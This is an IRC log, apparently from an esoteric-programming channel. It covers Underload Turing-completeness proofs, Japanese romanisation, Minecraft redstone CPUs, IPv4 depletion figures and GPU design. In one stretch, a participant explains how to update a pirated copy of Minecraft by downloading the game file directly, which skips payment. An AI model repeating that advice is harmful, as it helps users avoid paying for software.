00:49:37 <elliott_> (私はすべての文章でどんなに単純または複雑な単一の単語とそれ以上で構成されて理想的な言語のあなたとすべての私のビジョンを共有したいと思います。)
00:49:51 <pikhq> elliott_: Thank God for the kanji, I was about to tell you "fuck no".
00:49:57 <elliott_> :D
00:50:18 <elliott_> "You want to do WHAT with my mother's goat? ...wait, broke the words in the wrong place."
00:50:42 <elliott_> pikhq: My method, by the way, is using Google Translate, then removing all commas from the output :P
00:51:15 <pikhq> elliott_: Google Translate seems to have fucked something up.
00:51:32 <pikhq> About 1/4th of the way through the grammar falls apart.
00:52:25 <elliott_> pikhq: Koreharomajimokantannabunshounidoredakehayakuseichousurukahijouniodorokida!
00:52:29 <elliott_> (これはローマ字も簡単な文章にどれだけ早く成長するか非常に驚きだ)
00:52:39 <elliott_> NOW SAY IT TEN TIMES FAST
00:53:09 <pikhq> elliott_: That is, in fact, an entirely normal sentence.
00:53:16 <elliott_> pikhq: But, but, I removed a comma.
00:53:25 <elliott_> pikhq: (Is it still normal when I remove all the spaces from the romaji? :P)
00:53:34 <pikhq> elliott_: Not from the romaji.
00:53:54 <pikhq> Japanese speakers will add spaces if they're not using kanji, because it's a motherfucking *pain* to read.
00:54:14 <pikhq> Thisismuchmucheasiertoreadthanthatbullshit.
00:55:55 <elliott_> pikhq: What does ^x mean in ascii romaji?
00:55:57 <elliott_> and 'x?
00:56:06 <elliott_> is ^ just ^ on top of the next letter?
00:56:18 <elliott_> or previous?
00:56:44 <pikhq> elliott_: Depends, whose romaji scheme?
00:56:54 <elliott_> Romaji Translator at Romaji.org is a free Japanese to Romaji transliteration tool. You can translate japanese text (Kanji,Hiragana,Katakana) into Romaji or Hiragana.
00:56:55 <elliott_> THAT ONE
00:56:57 <elliott_> :D
00:57:06 <elliott_> "to^suto" is the relevant word
00:57:21 <pikhq> It goes on the previous.
00:57:26 <elliott_> Same for '?
00:57:44 <pikhq> And ' is almost certainly being used to disambiguate between moraic "n" and initial-consonant "n".
00:57:51 <elliott_> Ah.
00:57:53 <elliott_> So irrelevant, then!
00:57:55 <elliott_> Also, is "ou" always õ or not?
00:58:07 <pikhq> "ou" is *usually* a long o.
00:59:00 <elliott_> pikhq: kyōfunotôsutonikeńeniki
01:00:05 <elliott_> xD
01:01:02 <elliott_> I think I just confused pikhq to death.
01:02:07 <oerjan> nah, pikhq is just in need of some space now
01:12:14 <elliott_> oerjan: is :()^D tc, where D is dip? >:D
01:12:17 <elliott_> ooh better
01:12:17 <elliott_> :()D
01:12:27 <elliott_> :~()D maybe
01:12:32 <elliott_> er ~:()D
01:12:33 <elliott_> that is
01:13:16 <oerjan> hm how do you write ^ in terms of D
01:13:37 <oerjan> why do you want ~
01:13:56 <elliott_> just trying to be helpful
01:14:01 <oerjan> lessee
01:14:03 <elliott_> oerjan: simple, have only even stack elements matter
01:14:08 <elliott_> (real)(junk)(real)(junk)
01:14:16 <oerjan> sheesh
01:14:21 <elliott_> :D
01:14:24 <oerjan> i am guessing it can be done directly
01:14:30 <elliott_> possibly
01:14:40 <elliott_> oerjan: i'm not guaranteeing that it works like normal dip though
01:14:44 <elliott_> it could put the stack element somewhere else entirely!
01:14:55 <elliott_> (unless this is obviously impossible to do ^ directly with which i suspect)
01:14:57 <oerjan> well of course that doesn't matter
01:14:58 <elliott_> (in which case HAVE YER GUARANTEE)
01:15:04 <elliott_> oerjan: oh right, it doesn't...
01:15:15 <elliott_> i was thinking you could examine the result or something
01:16:16 -!- Wamanuz has joined.
01:16:24 <oerjan> hm it's easy to get ^() , that's just (())DD
01:16:42 -!- rodgort has quit (Ping timeout: 264 seconds).
01:16:42 <oerjan> oh and then :
01:16:42 -!- copumpkin has changed nick to pumpkin.
01:17:18 -!- Wamanuz5 has quit (Ping timeout: 264 seconds).
01:17:18 -!- aloril has quit (Ping timeout: 264 seconds).
01:17:19 <oerjan> yeah ^ is (())DD: if the stack has at least one element after the ^
01:17:40 <oerjan> and i don't think this subset has any way of deleting a lone stack element
01:18:13 <oerjan> er damn
01:18:20 <oerjan> somehow i wrote : for *
01:18:41 <oerjan> ok it's actually difficult to delete anything simple then
01:18:47 <oerjan> or wait
01:18:52 <oerjan> duh
01:19:04 <oerjan> ^ = (())DDD
01:19:25 <oerjan> again assuming at least one element on the stack after the ^
01:20:29 <pikhq> elliott_: ' is not a bloody diactric in Japanese.
01:20:51 <oerjan> you are capable of doing (x)~ as ((x))D
01:20:55 <elliott_> pikhq: I thought it was in your super-retarded-romanisation-scheme
01:21:03 <pikhq> elliott_: Yes, but not in any other ones.
01:21:11 <elliott_> pikhq: I decided to be retarded.
01:21:12 <oerjan> elliott_: i think it looks likely that :()D is TC
01:21:29 <oerjan> even without ~, obviously with
01:21:36 <elliott_> oerjan: ok. what about ~()D
01:21:37 <elliott_> or *()D
01:21:40 <pikhq> elliott_: In every other romanisation scheme, it exists to distinguish, say, んや from にゃ (n'ya from nya).
01:21:45 -!- rodgort has joined.
01:21:48 <elliott_> don't knock this bullshit, it could be the key to understanding :()^ !
01:21:53 <oerjan> elliott_: : is still indispensable
01:22:01 <elliott_> oerjan: hmm
01:22:14 <elliott_> oerjan: ok what about this operation: "dip, then duplicate second-on-stack to top-of-stack"
01:22:15 <elliott_> that is
01:22:17 <elliott_> after dipping
01:22:18 <oerjan> no way to increase total size otherwise
01:22:19 <elliott_> a b c
01:22:21 <elliott_> ->
01:22:23 <elliott_> a b c b
01:22:35 <pikhq> It's a fairly important distinction, really.
01:22:40 <elliott_> so for instance ((x))V would push (x) on the top of stack
01:22:43 <elliott_> and also on the third on stack
01:24:23 -!- aloril has joined.
01:25:10 <oerjan> (y)((x)V -> (x)(y)(x) ?
01:25:17 <oerjan> *(y)((x))V -> (x)(y)(x) ?
01:25:23 <elliott_> oerjan: yep
01:25:56 <elliott_> if we had !, then (x)(y)(z)(!)V -> (x)(z)(x)
01:26:06 <elliott_> oerjan: basically it's
01:26:10 <elliott_> D(:)D~
01:26:10 <elliott_> I think
01:26:13 <elliott_> yeah
01:26:26 <elliott_> so the question is ~()V or *()V
01:26:32 <elliott_> or even !()V :P
01:28:09 <oerjan> well D = V!
01:29:51 <oerjan> ^ = (())DDD still, and : = ()()D(^)D
01:30:13 <oerjan> so !()V is enough at least
01:30:21 <elliott_> <oerjan> well D = V!
01:30:27 <elliott_> only if you have enough stack left
01:30:30 <elliott_> but ok, *()V then
01:30:36 <elliott_> that seems like you'll need junk handling again
01:30:36 <oerjan> um no always
01:30:41 <oerjan> oh hm
01:30:47 <elliott_> oerjan: V requires more elements than D
01:30:51 <elliott_> but you can easily just prefix your program with a shitload of ()s
01:30:55 <elliott_> and in the loops
01:30:56 <elliott_> so it hardly matters
01:30:57 <elliott_> i...think
01:31:01 <oerjan> well we need enough stack for ^ anyway
01:31:05 <elliott_> but then maybe you can't do it _forever_...
01:31:09 <elliott_> as in
01:31:13 <elliott_> you can't push ()s down far enough in a loop
01:31:46 <oerjan> um that's not a problem, the parts that need dummy stack elements don't actually disturb them
01:32:00 <elliott_> hm right...
01:32:07 <elliott_> it's just that
01:32:13 <elliott_> ((x))V
01:32:15 <elliott_> is invalid for instance
01:32:41 -!- cal153 has quit (Ping timeout: 276 seconds).
01:34:26 <oerjan> just put the maximum () at the start for each emulation, D, ^ and :
01:34:44 <elliott_> oerjan: so *()V and ~()V :D
01:34:48 <oerjan> it will never be disturbed unless the converted program itself runs out of stack
01:34:56 <elliott_> my secret plan is that one of these will turn out to be semantically equivalent to :()^ somehow
01:34:58 <elliott_> forget i said that
01:35:11 <oerjan> i find that unlikely
01:35:13 <oerjan> ok ~()V first
01:36:46 <oerjan> hm ouch
01:37:02 <elliott_> the HARD-HITTING FORCE OF REALITY?
01:37:07 <oerjan> after V, whatever is on the top will also be at third
01:37:11 <elliott_> YEP
01:37:13 <elliott_> :D
01:37:19 <oerjan> oh wait
01:38:43 <oerjan> it may be necessary to let the programs produce easily removable junk
01:40:30 -!- cal153 has joined.
01:41:13 <oerjan> so let's say there's a () kept on top of stack near constantly, and converted subprograms expect and preserve it
01:42:02 <oerjan> hm wait they don't expect it, but they put it there
01:43:55 <oerjan> argh
01:44:20 <oerjan> to neuter the duplication when needed, use _three_ () on top of stack
01:46:43 <oerjan> i really cannot be bothered with this
01:49:24 <elliott_> oerjan: YOU LOSE :D
01:49:33 <elliott_> is *()V likely to be any easier? :P
01:49:48 <oerjan> no, i left that for last because i have no f idea for it
01:49:49 <Ilari> Haha... Pic having some rodent with a stinger missile.
01:50:22 <oerjan> (just as i still have no idea for :()^*)
01:53:24 <oerjan> well no more than a vague feeling that i hope means my intuition is working on it
02:02:26 -!- augur has joined.
02:02:52 <elliott_> oerjan: well obviously in that scheme, a is (()~*())* <trollface/>
02:11:56 <oerjan> ...
02:12:17 <elliott_> oerjan: :D
02:12:19 <elliott_> you can ban me for that
02:12:27 <oerjan> YES
02:12:41 <oerjan> ->
02:13:59 -!- oerjan has quit (Quit: Later).
02:14:59 -!- pumpkin has changed nick to copumpkin.
02:16:26 <pikhq> 19:44 < Pseudonym> I've almost finished reproducing the 6502 (from the transistor-level simulation) in logisim.
02:16:46 <pikhq> I am in awe.
02:17:10 <elliott_> wasn't that done in js lately
02:18:23 <pikhq> elliott_: Well, from the logic-gate level simulation you could put it into Minecraft.
02:18:46 <elliott_> :D
02:18:51 <elliott_> VERY SLOWLY
02:18:56 <elliott_> there might be chunk limits on that though.
02:19:23 <pikhq> I suspect you could actually get it into a few chunks...
02:19:30 <pikhq> The CPU would tower from bedrock to sky, though.
02:20:07 <elliott_> I think the 6502 is rather more complex than could fit in a few chunks.
02:20:16 <elliott_> Consider that redstone is *rather* simplistic.
02:20:19 <elliott_> And chunks are only 16x16.
02:23:17 <elliott_> pikhq is secretly tarski's reincarnation
02:23:18 <elliott_> true fact
02:32:29 <pikhq> Hmm. Could you actually get a 6502 in 144x144x128?
02:33:34 <elliott_> pikhq: That's 2,654,208 blocks, but of course you need *space* to have redstone, a wire takes up a whole block.
02:33:46 <elliott_> You also need repeaters (newly-introduced), and who knows how many chunks they will go across?
02:34:05 <elliott_> Certainly the game only loads the nearest 81 chunks.
02:34:09 <elliott_> i.e. 9x9.
02:34:12 <elliott_> If you stood in the centre... well...
02:34:31 <elliott_> pikhq: "I doubt it".
02:34:42 <elliott_> pikhq: Have you SEEN the size of the ALU? I haven't seen the CPU but it must be much bigger.
02:35:13 <elliott_> Perhaps it is POSSIBLE to crunch the 6502 into that space, although I doubt it. But I bet you'd need to essentially brute-force every possible configuration to crunch it that far down.
02:35:21 <elliott_> CPUs are complex shit, yo.
02:35:28 <elliott_> Oh, and that's ignoring memory. Which of course you need.
02:35:29 <pikhq> http://www.weihenstephan.org/~michaste/pagetable/6502/6502-die.jpg There's the entire thing.
02:35:45 <elliott_> pikhq: Yes. You will notice how far zoomed-out that is.
02:35:49 <Sgeo_> elliott_, maliciousness?
02:35:54 <elliott_> pikhq: Also, remember that redstone is significantly less compact than, you know, real electronics.
02:35:56 <Sgeo_> How is me using Ion3 malicious?
02:36:07 <pikhq> elliott_: So, we need to mod Minecraft. :P
02:36:09 <elliott_> Gates take up quite a few blocks.
02:36:20 <elliott_> pikhq: Mod it with a 6502 block.
02:39:11 * pikhq wishes that the pirateness allowed for updating Minecraft
02:39:27 * pikhq , alternately, wishes for $
02:40:56 -!- hagb4rd2 has joined.
02:43:36 -!- hagb4rd has quit (Ping timeout: 246 seconds).
02:44:25 <Sgeo_> I think I like Clojure except for the Java stuff
02:48:02 <elliott_> pikhq: just redownload from s3
02:48:08 -!- azaq231 has quit (Quit: Leaving.).
02:48:08 <elliott_> pikhq: your non-login should still work
02:48:19 <elliott_> probably :P
02:48:45 <pikhq> elliott_: That's just the launcher.
02:48:56 <elliott_> pikhq: from _s3_
02:49:03 <elliott_> because mojang suck at security remember?
02:49:07 <elliott_> i.e. how you got it in the first place?
02:49:11 <pikhq> Oh, right.
02:49:18 <elliott_> just minecraft.jar changes i think.
02:49:27 <elliott_> i don't THINK it modifies minecraft.jar to figure out whether you've paid
02:49:32 <elliott_> so just changing that in-place should work
02:50:07 <elliott_> pikhq: (keep a backup of ~/.minecraft just in case it doesn't...)
02:50:35 -!- yiyus has quit (Remote host closed the connection).
02:51:14 <pikhq> Yar, me mateys.
02:51:31 <elliott_> pikhq: it's not piracy. it's direct from mojang itself!
02:51:46 <pikhq> java.lang.ClassNotFoundException: net.minecraft.client.MinecraftApplet
02:51:54 <pikhq> That's... Not good.
02:52:18 <elliott_> pikhq: Oh, are you still on the old launcher?
02:52:22 <elliott_> Probably it only works with the new one.
02:52:33 <elliott_> http://www.minecraft.net/download/minecraft.jar?v=1298517805112
02:52:35 <elliott_> Again, copy with care.
02:53:18 <pikhq> ... Wait, I downloaded the wrong jar off of S3.
02:53:37 <pikhq> *There* we go.
03:12:02 <pikhq> Hmm. Redstone delay line memory...
03:19:45 -!- elliott_ has quit (Ping timeout: 250 seconds).
03:30:47 <pikhq> ...
03:30:53 <pikhq> It is possible to get stone before wood.
03:31:02 <pikhq> You just need to start by punching creepers.
03:31:39 -!- TLUL has changed nick to Cook_Me_Flax.
03:32:40 -!- Cook_Me_Flax has changed nick to TLUL.
03:33:40 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
03:33:56 -!- zzo38 has joined.
03:45:54 <zzo38> Hello. Are we boring around here at the current time?
03:48:54 -!- Sgeo_ has quit (Read error: Connection reset by peer).
03:49:19 -!- Sgeo_ has joined.
03:53:29 -!- Zuu has quit (Read error: Connection reset by peer).
03:58:11 -!- Zuu has joined.
04:07:00 -!- sftp_ has quit (Remote host closed the connection).
04:24:17 -!- zzo38 has quit (Ping timeout: 250 seconds).
04:30:09 -!- augur has quit (Remote host closed the connection).
04:38:53 -!- zzo38 has joined.
04:47:35 <pikhq> >_>
04:47:37 <pikhq> <_<
04:48:03 <pikhq> mannsì まんじ マンジ 卍
04:48:28 <Sgeo_> Hah
04:48:41 <Sgeo_> elliott and the clojure guys agree on something!
04:48:47 <Sgeo_> amalloy> in lieu of competing theories, i'm going to propose that it's because you're nuts
04:48:55 <pikhq> :)
04:49:06 <quintopia> hello zzo38 . have a good old-fashioned boring night?
04:49:10 <zzo38> To use Checkout with graphics you would need to add some commands, for vector processing and so on?
04:49:31 <quintopia> what is checkout
04:49:39 <zzo38> quintopia: http://esolangs.org/wiki/Checkout
04:51:37 <zzo38> In the "see also" section there is a link to a list of commands
05:04:56 -!- augur has joined.
05:05:10 <quintopia> that is a long spec
05:05:16 <quintopia> i'll finish reading late
05:05:18 <quintopia> r
05:07:40 -!- oerjan has joined.
05:08:03 <zzo38> That is OK. However, what things do you know about GPU?
05:13:47 -!- asiekierka has joined.
05:14:48 <pikhq> o.O'
05:15:06 <pikhq> Modern x86 processors have instructions that take 0 clock ticks.
05:15:09 <zzo38> Do all level 1 units share the instruction pointer? And is abstain/1 allowed with an else part or not?
05:15:16 <zzo38> pikhq: Which instructions?
05:15:44 <pikhq> zzo38: The set of x87 stack swapping instructions.
05:20:14 <pikhq> My linear algebra professor seems to love proofs.
05:20:35 <oerjan> WHY, DOESN'T EVERYONE
05:20:48 <pikhq> So far, I have been assigned every single problem in the textbook that involves proving something.
05:21:29 <pikhq> Which is pretty fucking tedious in linear algebra. Like everything else.
05:22:12 <asiekierka> why am i porting ffmpeg to the DSi
05:23:04 <zzo38> asiekierka: I don't know why.
05:23:10 <asiekierka> :P
05:23:16 <asiekierka> well i know why and that's the sad part
05:23:20 <asiekierka> i want to run youtube on my DS
05:23:24 <zzo38> How many programs have you written on the DSi?
05:23:28 <asiekierka> a few
05:23:30 <asiekierka> WireWorld DS is one
05:23:34 <asiekierka> subleqDS is the worse one
05:23:36 <asiekierka> also many ports
05:23:43 <asiekierka> Jim, a TCL interpreter
05:23:47 <asiekierka> MegaHal (done horribly but oh well)
05:24:06 <pikhq> Aaaah, Jim.
05:24:12 <pikhq> Such a nice interpreter.
05:33:52 <quintopia> i downloaded the ffmpeg port for iOS to my ipod, but i can't use it because mobileterminal won't start :/
05:34:41 <coppro> A MegaHAL is 9000000000
05:34:50 <coppro> *9000000000
05:38:22 <asiekierka> pikhq if you want the port ask me
05:38:24 <asiekierka> but not now, i gtg
05:38:25 <asiekierka> bye!
05:43:27 -!- asiekierka has quit (Ping timeout: 276 seconds).
06:06:42 -!- ferix2x has quit.
06:14:22 <zzo38> There are still some questions I have about Checkout
06:17:47 <oerjan> well you'll have to wait for ais523 for that
06:18:38 <zzo38> OK
06:29:39 -!- oerjan has quit (Quit: Later).
06:42:28 -!- zzo38 has quit (Remote host closed the connection).
06:50:28 -!- pikhq has quit (Ping timeout: 240 seconds).
06:50:46 -!- pikhq has joined.
07:01:08 <quintopia> coppro: 9000000000? that's over...
07:32:12 -!- copumpkin has quit (Ping timeout: 246 seconds).
07:32:38 -!- copumpkin has joined.
07:32:41 -!- copumpkin has quit (Changing host).
07:32:41 -!- copumpkin has joined.
07:34:03 -!- kwertii has quit (Quit: bye).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:36:12 -!- yiyus has joined.
08:44:55 -!- Mannerisky has left (?).
09:05:12 -!- pikhq_ has joined.
09:05:24 -!- pikhq has quit (Ping timeout: 260 seconds).
09:53:12 -!- oerjan has joined.
11:12:07 -!- oerjan has quit (Quit: leaving).
11:26:13 -!- SimonRC has quit (Ping timeout: 240 seconds).
11:26:20 -!- SimonRC has joined.
11:27:49 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:29:50 -!- cheater00 has joined.
12:17:17 -!- ais523 has joined.
12:29:09 -!- ais523 has quit (Ping timeout: 246 seconds).
12:55:57 -!- Tritonio has joined.
13:10:15 -!- asiekierka has joined.
13:10:43 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
13:29:02 -!- miekko has changed nick to Zwaarddijk.
13:29:07 -!- augur has quit (Remote host closed the connection).
13:33:18 -!- sftp has joined.
14:01:31 -!- Mannerisky has joined.
14:20:26 -!- pikhq has joined.
14:21:22 -!- pikhq_ has quit (Ping timeout: 276 seconds).
14:27:14 -!- ais523 has joined.
14:42:17 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:02:57 -!- Sgeo_ has quit (Ping timeout: 276 seconds).
15:06:32 -!- oerjan has joined.
15:06:57 -!- Tritonio has quit (Quit: Leaving).
15:10:18 -!- copumpkin has joined.
15:25:23 -!- variable has quit (Remote host closed the connection).
15:26:16 -!- variable has joined.
15:27:41 -!- aloril has quit (*.net *.split).
15:33:23 -!- aloril has joined.
15:34:08 -!- zzo38 has joined.
15:36:05 -!- cheater00 has quit (Ping timeout: 240 seconds).
15:36:08 -!- Phantom_Hoover has joined.
15:38:46 -!- cheater00 has joined.
16:00:57 -!- poiuy_qwert has joined.
16:02:50 <oerjan> ^ul (((((0)S!:^^^!^)(!:^!^))(!((1)S!:^^^!^)(!::^!!^))(!!(e)(!!:^^^^)))(((0)S)(e))(!((1)S)(!:^!!^))(!!(e)(!!:^!^))):^^(^)(::**)::**^^!^
16:02:50 <fungot> 11011
16:03:06 <oerjan> yay
16:04:38 <oerjan> ^ul (((((0)S!:^^^!^)(!:^!^))(!((1)S!:^^^!^)(!::^!!^))(!!(!:^^^^)))(((0)S)())(!((1)S)(!:^!!^))(!!(!:^!^))):^^(^)(::**)::**^^!^
16:04:39 <fungot> 11011
16:05:01 -!- pikhq has quit (Ping timeout: 240 seconds).
16:05:21 -!- pikhq has joined.
16:05:24 <oerjan> ^ul (((((0)S!:^^^!^)(!:^!^))(!((1)S!:^^^!^)(!::^!!^))(!!(e)(!!:^^^^)))(((0)S)(e))(!((1)S)(!:^!!^))(!!(e)(!!:^!^))):^^(^)(::::****)::**^^!^
16:05:24 <fungot> 1011111
16:06:23 <oerjan> ^ul (((((0)S!:^^^!^)(!:^!^))(!((1)S!:^^^!^)(!::^!!^))(!!(!:^^^^)))(((0)S)())(!((1)S)(!:^!!^))(!!(!:^!^))):^^(^)(::::****)::**^^!^
16:06:24 <fungot> 1011111
16:06:29 -!- r7 has joined.
16:07:04 -!- r7 has left (?).
16:07:47 <oerjan> ais523: ^ working two-counter machine with :()^!S
16:07:54 -!- yorick has quit (Read error: Operation timed out).
16:08:08 <ais523> wow, this is getting ridiculous
16:08:15 <ais523> I take it the ! is absolutely required in that?
16:08:40 <oerjan> oh yes, it's the main mechanism for selecting cases in the tables
16:09:11 <oerjan> btw it prints a numeral in reversed binary
16:09:41 <ais523> it's obvious that both : and ^ are necessary, without : there's an entropy rule that lets you prove all programs halt, without ^ you can only ever run commands in the original program and so all programs must halt too
16:10:10 <oerjan> yes i wrote arguments for :()^ necessary in the new minimization section
16:10:14 <ais523> yep
16:10:28 <ais523> () is pretty obvious, given that none of the other commands can legally be run unless () has been run first
16:10:35 <oerjan> yeah
16:11:19 <oerjan> btw entropy = size of stack in characters + size of remaining program in characters + 3*number of a's
16:11:43 <oerjan> er, 2*times
16:11:52 <oerjan> one time is included in the others
16:11:58 <oerjan> *2*number
16:12:08 <ais523> you can just count a pair of parens as 1 rather than 2, then a doesn't need special-casing
16:12:45 <oerjan> you still need special casing to make it strictly reducing at each step
16:13:59 <oerjan> of course it's obvious you cannot run only a's indefinitely, so you will reduce eventually
16:17:18 -!- yorick has joined.
16:22:10 -!- yorick has quit (Ping timeout: 272 seconds).
16:23:01 -!- yorick has joined.
16:33:14 <Ilari> APNIC down 0.01: IPv4: 128k to China, 2k to Australia. IPv6: No allocations.
16:34:00 <ais523> how long will it last at current burn rate?
16:41:43 <Ilari> Current 30-day burn rate is: 541 517 addresses per day. At that rate, it will last about 4 months.
16:42:56 <ais523> ouch
16:43:41 <zzo38> ais523: I have some questions about Checkout, can you answer me?
16:43:47 <ais523> perhaps
16:43:59 <ais523> the language isn't quite finalised yet
16:44:06 <Ilari> It will also be interesting what happens after it depletes. How much of the demand will shift to other regions? What will happen to the IPv6 demand?
16:44:12 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
16:45:56 <zzo38> One question is, would some commands need to be added for graphics processing?
16:46:33 <ais523> graphics programming works in just the same way, just the driver works out the correct sequence of commands
16:46:45 <ais523> Checkout's very low level, it's like asking if you should add commands to asm for web development
16:47:20 <zzo38> O, it is just the driver that adds the graphics commands. If so, then it is OK, no commands should be added for that.
16:49:50 <zzo38> I also have idea for the binary representation of Checkout programs.
16:50:26 <zzo38> And what kind of profiles and stuff does a GPU commonly have?
16:50:59 <ais523> normally, I'd assume two profiles, one for the GPU, one for the CPU that gives it its instructions
16:51:48 <ais523> typically you'd get 32 or so level 1 subunits of a level 2 unit, and the number of level 2 subunits of a level 3 unit is kind-of complicated because in theory it can go up to 65536 or so on modern GPUs, but is often more efficient with a smaller number like 16
16:52:02 <ais523> umm, sorry, that's 3 of 4
16:52:18 <ais523> 2 of 3 goes up to 16 or so, and again is sometimes more efficient with a smaller number
16:56:42 <zzo38> Do all level 1 units share the same instruction pointer?
16:57:10 -!- asiekierka has quit (Ping timeout: 276 seconds).
16:57:20 <ais523> all units share the same instruction pointer, full stop
16:57:43 <ais523> but things like if and while can sort-of magically disappear the instruction pointer from some units and place it back later
16:57:47 <ais523> all in zero time
16:58:02 <ais523> this sort of thing is why, for instance, you can't put nop/3 inside while/2, because it wouldn't make logical sense
16:59:58 <Phantom_Hoover> ais523, I assume you're talking to cheater?
17:00:08 <ais523> no, to zzo38
17:00:19 <ais523> cheater hasn't said anything since I joined the channel
17:00:27 <zzo38> If you compile a Checkout program to run on GPU, can you do video rendering? (Of course the program would have to fit the specific GPU profiles and stuff, I guess)
17:00:34 <Ilari> BTW: Long-term growth rate of APNIC allocations seems to be about 19% per year.
17:00:46 <ais523> zzo38: I think it depends on the details of the driver
17:01:11 -!- iamcal has joined.
17:01:41 <ais523> in fact, with some GPU architectures, you could just write to the right part of level 5 memory and the rendering would appear onscreen
17:01:48 <ais523> but that's massively system-specific
17:03:29 -!- cal153 has quit (Ping timeout: 240 seconds).
17:07:22 <Ilari> At 10x expansion for IPv6 deployment + 19% per year, APNIC would allocate in about 6 years.
17:07:48 <ais523> hopefully they'll stop wasting IPv6 the way they wasted IPv4 at some point
17:08:11 <ais523> even if it 90% runs out before they wake up, there'll still be huge numbers of addresses left
17:11:37 -!- poiuy_qwert has joined.
17:12:44 <Ilari> Reaching 90% depletion would mean expanding address usage from current by about 3.5 orders of magnitude.
17:12:44 <zzo38> ais523: However, assume now that I have no graphics card and just the GPU and am connecting everything myself. Would you know which GPU devices can be used and how to output to TV screen?
17:13:04 -!- poiuy_qwert has quit (Client Quit).
17:13:07 <zzo38> I do suppose I can use macros to make the system-specific stuff for the output
17:13:17 <ais523> zzo38: GPUs which don't also contain a video card won't output to TV screens at all
17:13:32 <ais523> the vast majority of GPUs on existence are on video cards (= graphics cards) for that reason
17:14:38 <Ilari> Humans are very bad at comprehending huge numbers. And IPv6 involves huge numbers.
17:16:58 <zzo38> I mean, how would I do if I put the GPU and video output chip, and also a RAM to communicate with other devices (such as CPU) on a board by myself
17:17:55 * oerjan would hazard guess that is what a graphics card _is_
17:17:59 <oerjan> *a guess
17:18:02 <ais523> you might want to look up pages about motherboard design; it's a pretty complicated subject, and one that I don't fully understand
17:18:19 <ais523> and designing just a graphics card is similar but on a smaller scale
17:18:37 <ais523> (it likely won't matter in practice, because the vast majority of GPUs you can buy are on graphics cards already)
17:20:42 <Ilari> How many IPv4 /16 or bigger allocations there are? Loads (something like 14 000 individual allocations, to lesser set of holders). Just how many IPv6 /19s there will be allocated? Currently there are 5.
17:22:05 <Ilari> The point is. IPv4 /16 isn't that large. But IPv6 /19 is frickin huge.
17:23:48 <Ilari> At even 75% utilization, that would mean 384M /48s.
17:23:50 <zzo38> I mean I want to buy one that is not on a graphics card already. I want to learn how to connect it myself
17:24:42 <olsner> I want to learn how to connect it *to* myself
17:25:40 <fizzie> olsner: You just unplug the optic nerve from your eye, and go from there.
17:25:59 <olsner> the fiber-optic nerve, mmmm
17:29:34 -!- ais523 has quit (Remote host closed the connection).
17:29:47 <Ilari> Remember even if you equate /48s and individual IPv4 addresses (!) there are still 13 bits left over... And 13 bits is 8192 times.
17:31:27 <Ilari> And besides, mobile handsets will probably only eat one /64 per handset.
17:34:10 <Ilari> Even at 16 billion devices (easy to calculate and leaves some margin), that's a /30 total.
17:34:49 -!- pikhq has quit (Ping timeout: 240 seconds).
17:34:57 -!- pikhq has joined.
17:35:11 <Ilari> Oh, and there are many more RIR-allocated /48s than there are IPv4 addresses total.
17:35:50 <Ilari> That count is quite rapidly approaching 10 billion.
17:36:32 -!- TLUL has joined.
17:37:34 <Ilari> ... Currently at 9 623 680 978
17:53:28 -!- zzo38 has quit (Quit: Turn on...the Doom Light!).
18:13:47 -!- asiekierka has joined.
18:24:54 -!- pumpkin has joined.
18:26:42 -!- copumpkin has quit (Ping timeout: 240 seconds).
18:29:04 <oerjan> ^ul (((((0)S!:^^^!^)(!:^!^))(!((1)S!:^^^!^)(!::^!!^))(!!(!:^^^^)))(((0)S)())(!((1)S)(!:^!!^))(!!(!:^!^))):^^(^^^^^^^^^^^^^^^^^^^^^^^^^^^)^!^
18:29:04 <fungot> 11011
18:30:09 -!- Leonidas has quit (Ping timeout: 240 seconds).
18:37:25 -!- Sgeo has joined.
18:53:04 -!- elliott has joined.
18:54:27 <elliott> 19:30:47 <pikhq> ...
18:54:27 <elliott> 19:30:53 <pikhq> It is possible to get stone before wood.
18:54:27 <elliott> 19:31:02 <pikhq> You just need to start by punching creepers.
18:54:33 <elliott> pikhq: you need wood to craft that into tnt.
18:54:36 <elliott> but you can get diamond before wood.
18:54:42 <elliott> just taunt creepers into exploding.
18:54:46 <elliott> until you get lucky
18:54:50 <elliott> oerjan: argh, no ais
18:55:05 <elliott> 20:48:28 <Sgeo_> Hah
18:55:05 <elliott> 20:48:41 <Sgeo_> elliott and the clojure guys agree on something!
18:55:05 <elliott> 20:48:47 <Sgeo_> amalloy> in lieu of competing theories, i'm going to propose that it's because you're nuts
18:55:07 <elliott> you are, but what?
18:55:32 -!- pikhq_ has joined.
18:55:57 -!- pikhq has quit (Ping timeout: 264 seconds).
19:09:39 -!- augur has joined.
19:10:08 -!- fizzie has quit (Ping timeout: 240 seconds).
19:11:35 <oerjan> elliott: new underload section, about minsky machine
19:11:45 <elliott> oerjan: cool! i'm working on an underload test suite myself, a la mycology
19:11:52 <oerjan> heh
19:11:53 <elliott> oerjan: mostly because everyone gets concatenation the wrong way around, including me :D
19:12:01 <oerjan> right :D
19:12:11 <elliott> ^ul ((a)S)((b)S)((c)S)(^)(!^)*^
19:12:11 <fungot> ca
19:12:19 <elliott> ^ul ((a)S)((b)S)((c)S)(!^)(^)*^
19:12:19 <fungot> ba
19:14:04 <elliott> invalid instruction (GOOD)
19:14:04 <elliott> a
19:14:05 <elliott> *no a
19:14:07 <elliott> huh?
19:15:08 <elliott> ^ul (( prop)*S)((DANGER))((OHNO)S)(!^)(^)*^
19:15:08 <fungot> ...bad insn!
19:15:16 <elliott> oerjan: wat
19:15:24 <elliott> oh
19:15:43 -!- Sgeo has quit (Ping timeout: 240 seconds).
19:15:44 <elliott> ^ul (( prop)*S)((DANGER))((OHNO)S)(!^)(~^)*^
19:15:44 <fungot> DANGER prop
19:15:47 <elliott> ^ul (( prop)*S)((DANGER))((OHNO)S)(!^)(~^)~*^
19:15:48 <fungot> OHNO
19:16:05 -!- Sgeo_ has joined.
19:16:15 -!- fizzie has joined.
19:16:54 -!- asiekierka has quit (Read error: Operation timed out).
19:18:54 <elliott> oerjan: btw challenge for you
19:19:04 <oerjan> argh
19:19:40 <olsner> you have been challenged by elliott!
